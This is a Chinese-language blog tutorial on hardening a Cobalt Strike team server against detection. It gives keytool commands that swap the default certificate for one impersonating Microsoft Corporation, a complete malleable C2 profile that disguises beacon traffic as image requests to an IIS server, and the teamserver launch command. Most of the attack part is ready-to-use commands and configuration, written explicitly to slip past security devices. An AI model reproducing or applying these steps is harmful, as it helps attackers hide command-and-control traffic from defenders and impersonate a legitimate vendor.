• Cobalt Strike-修改默认证书、混淆流量-教程


    一、默认情况下的Cobalt Strike流量

    首先,生成exe文件并上线
    使用whireshark抓取数据包
    查看一下默认配置下的Cobalt Strike,如下图所示
    在这里插入图片描述
    默认情况下会间隔一段时间,请求一次 http://192.168.32.131//7VFJ文件、http://192.168.32.131//j.ad文件
    在这里插入图片描述
    查看完整的http流,请求的http://192.168.32.131/7Vfj文件内容,请求http://192.168.32.131/j.ad文件内容
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    二、修改默认证书

    Cobalt Strike默认证书中含有与cs相关的特征,安全设备均已设置检测规则,所以需要替换掉cs原有的证书,重新生成一个无特征的证书文件。

    前提条件: 服务器上已安装java
    使用jdk自带的keytools这个java证书管理工具来生成新的无特征证书。

    步骤:
    1、首先删除cobalt strike原有的证书:rm -rf cobaltstrike.store(或者xxxxxx.store 就是默认证书)
    2、在Cobalt Strike当前目录生成一个无特征的证书,名字任意写
    3、新建一个其它名字(与第2步骤中的名字相同),只需要在teamserver最后一行修改 -Djavax.net.ssl.keyStore=./new-name.store 即可

    在Cobalt Strike当前目录生成一个无特征的证书,名字为new-name.store

    #keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
    
    keytool -keystore new-name.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias test.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
    
    #修改证书标准并应用
    keytool -importkeystore -srckeystore new-name.store -destkeystore new-name.store -deststoretype pkcs12
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    至此证书修改完成,使用命令: keytool -list -v -keystore new-name.store 可查看证书内容
    在这里插入图片描述
    修改teamserve加载新生成的证书new-name.store

    在这里插入图片描述
    之后启动teamserve,查看使用的证书正是生成的新证书new-name.store,修改默认证书成功
    在这里插入图片描述

    注意:
    如果报错提示

    [-] Trapped java.net.BindException during team server startup [main]: 地址已在使用 (Bind failed)
    java.net.BindException: 地址已在使用 (Bind failed)
    
    • 1
    • 2

    重启一下kali

    三、混淆流量

    接下来修改Beacon与cobalt strike通信时候的流量特征,创建一个c2.profile文件(名字任意),贴入以下从大佬那里偷过来的代码。
    在这里插入图片描述
    c2.profile文件内容:

    https-certificate {
        set keystore "new-name.store";	#证书名字
        set password "123456";		#证书密码
    }
    #以上没有配置cloudflare的时候可以先不写
    
    http-get {
        set uri "/image/";
        client {
            header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
            header "Referer" "http://www.google.com";
            header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉
            header "Pragma" "no-cache";
            header "Cache-Control" "no-cache";
            metadata {
                netbios;
                append ".jpg";  # 传输内容自动追加的后缀
                uri-append;
            }
        }
    
        server {
            header "Content-Type" "img/jpg";
            header "Server" "Microsoft-IIS/6.0";
            header "X-Powered-By" "ASP.NET";
            output {
                base64;  # 加密方式(base64、base64url、netbios、netbiosu)
                print;
            }
        }
    }
    
    http-post {
        set uri "/email/";
        client {
            header "Content-Type" "application/octet-stream";
            header "Referer" "http://www.google.com"; 
            header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉
            header "Pragma" "no-cache";
            header "Cache-Control" "no-cache";
            id {
                netbiosu;
                append ".png";
                uri-append;
            }
            output {
                base64;
                print;
            }
        }
        server {
            header "Content-Type" "img/jpg";
            header "Server" "Microsoft-IIS/6.0";
            header "X-Powered-By" "ASP.NET";
            output {
                base64;
                print;
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    完整的profile文件下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles(没有解释)

    保存之后赋予服务端的c2lint执行权限:chmod 777 c2lint
    然后输入:./c2lint c2.profile
    输出如下图所示即为 c2.profile 配置成功
    在这里插入图片描述
    在这里插入图片描述
    之后启动teamserve,使用新证书并且进行流量混淆

    ./teamserver 192.168.32.131 6666 c2.profile
    
    • 1

    1、生成exe上线并且使用https监听
    使用wireshark抓取数据包,所有的通信流量都已经加密
    在这里插入图片描述
    2、生成exe上线并且使用http监听
    使用wireshark抓取数据包,流量特征已经混淆,不在是请求http://192.168.32.131/7Vfj文件、http://192.168.32.131/j.ad文件,而是请求我们在c2.profile中编写的URL、UA等信息
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    Spring Boot文档阅读笔记-3 Ways to Add Custom Header in Spring SOAP Request
    阿杰的晚餐
    【Ant Design Table + React】表格列伸缩实现
    使用Python实现对word的批量操作
    Apache Ranger 是什么?
    问题与分类
    在 Node.js 中发出 HTTP 请求的 5 种方法
    LeetCode 1113.报告的记录
    Linux CentOS8安装gitlab_ce步骤
    ElasticSearch之Windows中环境安装
  • 原文地址:https://blog.csdn.net/weixin_40412037/article/details/126128872